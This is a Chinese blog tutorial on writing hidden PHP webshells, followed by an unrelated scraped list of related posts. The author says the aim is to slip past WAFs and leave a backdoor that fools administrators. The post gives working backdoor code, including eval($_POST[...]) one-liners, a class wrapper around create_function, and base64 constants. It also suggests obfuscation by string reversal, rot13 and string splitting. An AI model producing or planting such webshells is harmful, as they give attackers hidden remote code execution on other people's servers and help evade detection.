本文作者:Laimooc(原名xoanHn),个人站点:。

前几篇帖子:

本来打算写一个综合性的PHP脚本文件(修改文件内容、复制文件、删除文件、创建文件、目录遍历等;执行系统命令;文件的上传;文件内容的加解密或者编解码;增删改查数据库;劫持登陆表单等一些操作)。发现这个需要花费很多的时间来调试,况且这些模块的分割拆解网上已经有了一些,所以,就到此为止。

本次发表文章,主要是围绕:类的封装、构造函数以及perl-Class常量的使用、编码解码等,来与常规的结合,进行制作webshell。

最基础的webshell,莫过于:

,或者还有最短的吧。【eval($_POST[1]);】

那么我研究的初衷:1、是因为最短的一句话,会被很多的waf等直接拦截2、我想留下比较隐蔽并且容易忽悠管理员的后门3、我想锻炼一下自己的php掌握与使用能力4、为了给我们的开发团队督导一下安全编程思想。

最基础的类 :

Class classname

{

}

深入一点那么就是如下:

Class classname

{

Function operation(){ }

}

实例化:

$a = new classname();

$a -> operation();

嗯,是的就是如此,很常见的类。

看看perl-class呢:

class math{

const pi = 3.14159;

}

echo math::pi. &ampquot;\n&ampquot;;

就是上面如此,::操作符来访问perl-clas常量。我们调试一下perl-class试试看:

神奇吧,我也这么觉得,php真的很让我开心Ilove her !那么我们现在用perlclass,来做一个webshell试试看呗:

error_reporting(0);

//perl-Class 思想

class math{

const pi = 3.14159;

}

echo &ampquot;Math::pi=&ampquot; .math::pi. &ampquot;\n&ampquot;;

const pi 这是我们的perl-class常量,在class中声明,然后类外::操作符进行常量引用。那么我们先修改pi为base64_decode,你感觉会实现吗,会不会因为是字符串然后error呢,不用怕,走起来看看吧,咱们有万能的echo:

使用试试看,其实学习吧,就是不要拘束,我的引路人给了很大的鼓励,是我的榜样:

在使用这个编码的时候,我心里在想也可以使用url编码、者rot13编码、反转、字符串拼接、字符串的拆分利用(如:explode)、字符串的查找替换(如:substr)、quoted-printable 字符串转换利用等等,更多的请参考: http://php.net/ref.strings如下,自己在这块调试的一个一句话:

下面我们来讲解一下,类的封装来制作一句话:先来一个成品如下图示,点击我,显示源码:

对不起,再点击,也显示不了源码。前面我们说过了类的原型,那么下面我们试试:

class a{

function create_fun($data)

{

$post= create_function(&amp#39;&amp#39;, $data);

$post();

}

}

我们外部类,内部调用了动态创建函数,来为下一步的webshell做铺垫,然后我们来实例化吧:$a = new a();

这句就是实例化,简答吧,要记住了new 来实例化的,那么我们下面来引用,前面我们在类的内部定义了一个create_fun ,我们在这里使用它即可,如下,

$a -&ampgt;create_fun($shell);

那么到这里了,是不是还少个东西,看出来了大伙,参数噻,下面我们简单的定义参数呗:直接一句话,哈哈,简单暴力。

$shell =&ampquot;eval($_POST[c]);&ampquot;;

那么现在整理就完成了,类的封装来实现一句话的,测试看看:

执行命令是可以的。就是这样吧。

可以看到我们的phpinfo() 也是可以的。

最后,说一说,如何结合构造函数来生成一句话的,其实如果善于调试的话,我们的研究到这里应该已经结束了。

但是为了多讲几句,我还是留下了,先演示一下,如何反转字符串,这点让我感觉php神奇的一匹马:

function reverse_chr($str){

for($i=1;$i<=strlen($str);$i++){

$strr= substr($str,-$i,1);

echo $strr;

}

return;

}

这段足够代码实现,哈哈哈,其实还可以更见简短一些一个单词的事情:strrev ,这个函数你别看小,它的威力很强大,自行联想。

这个反转函数,怎么用,一句话:慢慢来,多使用,大佬们传授的经验。授之以鱼,不如授之以渔。你们长大了,成功了,分我们一碗汤喝就可以。

好了吧,不扯了,颈椎痛,大家平时要注意锻炼身体。

下面这张图,我敢保证,让你感到惊喜又兴奋!

最后一次对php在webshell方面的研究到此结束。准备去学习c语言了。

PHP新方向,webshell在php方向的研究(精华篇)相关推荐

  1. 引领新媒体时代的潮水方向—世相科技

    漫步云端,世相科技正在引领新媒体时代的潮水方向.阿里云正在携手越来越多的新媒体客户,一道致力于简化基础设施与架构,提升更优的行业竞争力. 客户故事 新媒体的飞速发展,为各种创意传播带来了崭新机遇.世相 ...

  2. 世相科技:引领新媒体时代的潮水方向

    漫步云端,世相科技正在引领新媒体时代的潮水方向.阿里云正在携手越来越多的新媒体客户,一道致力于简化基础设施与架构,提升更优的行业竞争力. 客户故事 新媒体的飞速发展,为各种创意传播带来了崭新机遇.世相 ...

  3. 如何投资新零售 新零售未来的发展方向有哪些?

    新零售模式是电子商务的一种商业模式,随着电子商务的不断发展,新零售模式也衍生出不同类型的商业模式.下面是易族智汇javashop为您编辑整理的如何投资新零售,新零售未来的发展方向有哪些,希望能帮到您. ...

  4. php 热门方向,精华篇之webshell在php方向的研究

    本帖最后由 xoanHn 于 2017-11-6 11:02 编辑 精华篇webshell在php方向的研究·不要错过篇 本文原创作者:原名xoanHn),个人站点:www.laimooc.cn. 本 ...

  5. 99岁杨振宁寄语青年学子:要清楚方向、选对方向

    4月25日,清华大学迎来建校110周年校庆日.日前,在清华园的住所里,诺贝尔奖获得者.清华大学高等研究院名誉院长杨振宁接受新华社记者的独家专访.99岁的他精神矍铄,微笑讲述与清华的不解之缘. > ...

  6. 对我的学科方向软件工程开发技术方向的认识

    写于2007年9月 摘要 目前北京交通大学软件学院软件工程专业分为两个方向,即软件开发技术方向和数字媒体方向.我将要选择软件开发技术方向.软件开发技术方向的培养目标是: 培养学生掌握现代软件开发的过程 ...

  7. Mac使用技巧总结-如何独立设置Mac触摸板方向和鼠标滚轮方向?

    Mac使用技巧总结 如何独立设置Mac触摸板方向和鼠标滚轮方向? 苹果Macbook的使用者都知道,Mac自带的触控板非常好用,不仅支持多手势操控,而且手感极佳,使用流畅. 但是如果对鼠标的焦距有高有 ...

  8. Java方向发展前景与就业方向探讨

    相信学Java的朋友都比较关心Java目前的发展前景与就业方向这个问题.Java的诞生和发展促进了计算机软件开发的进步和繁荣,作为目前计算机编程语言排行榜第一名的高级语言,Java在计算机科学知识时代 ...

  9. android 地图方向北方,地图上方向的判断方法

    一.一般地图上定方向 面对地图,上北下南,左西右东.在此基础上,还可再分出东北.东南.西南.西北的方向.如图一所示. 例:图二中,A点在B点的______方向. 解析:以B点为原点,作坐标,如图中虚线 ...

最新文章

  1. [ARM异常]-armv8-aarch64下当中断来时自动触发的硬件行为
  2. nltk book的下载
  3. [原创]Toolbar setNavigationIcon无效
  4. orchard mysql_Orchard Core创建CMS/Blog站点
  5. python的django框架http请求_python django框架(一)
  6. 解决kali linux找不到更新的问题
  7. 英魂之刃服务器维护中修改,英魂之刃gg修改教程 | 手游网游页游攻略大全
  8. 用户空间和内核空间是什么?
  9. 电线电缆的基本测试方法
  10. 计算机组成原理不恢复余数法,计算机组成原理第八讲(除法-补码不恢复余数法)(科大罗克露)...
  11. 什么是RST包,什么是三次握手,什么是四次握手
  12. Springboot启动报错-类文件具有错误的版本 61.0, 应为 52.0
  13. 柬埔寨招聘中文计算机,柬埔寨ll中文老师1000美金+招聘机会来啦,快来围观!!!...
  14. VS2005宏无法运行的问题(打了补丁MS14-009之后)
  15. 【语音去噪】基于matlab软阈值+硬阈值+折中阈值语音去噪【含Matlab源码 530期】
  16. mysql5.7错误提示ERROR 1265 (01000)的问题分析及解决方案和修改字段属性为中文
  17. 刘润、陈果、董小英、朋新宇、钱大群、付晓岩等50余位专家力荐,《精益数据方法论》重磅上市!...
  18. 【Python技巧】(虚拟环境报错、pycharm)无法加载文件 ...\venv\Scripts\activate.ps1,因为在此系统上禁止运行脚本。
  19. android clickablespan listview,解决TextView中ClickableSpan点击事件
  20. 使用Testin云测试进行兼容测试

热门文章

  1. python爬虫学习记录(1)基本库的使用——urllib
  2. 解决:Could not build wheels for soxr, which is required to install pyproject.toml-based projects
  3. STL(标准模板库)理论基础与容器
  4. NJR推出NJW1194双电源运行的电子音量调节IC
  5. 使用winhex查看SD卡文件的物理扇区地址
  6. 动漫评分数据分析与可视化 与 IT行业招聘数据分析与可视化
  7. 关闭计算机休眠文件,win10系统休眠文件Hiberfil.sys打开的操作方案
  8. Makefile中的include指令
  9. libev libevent简介
  10. react使用阿里云对象存储,ali-oss, antd upload to ali-oss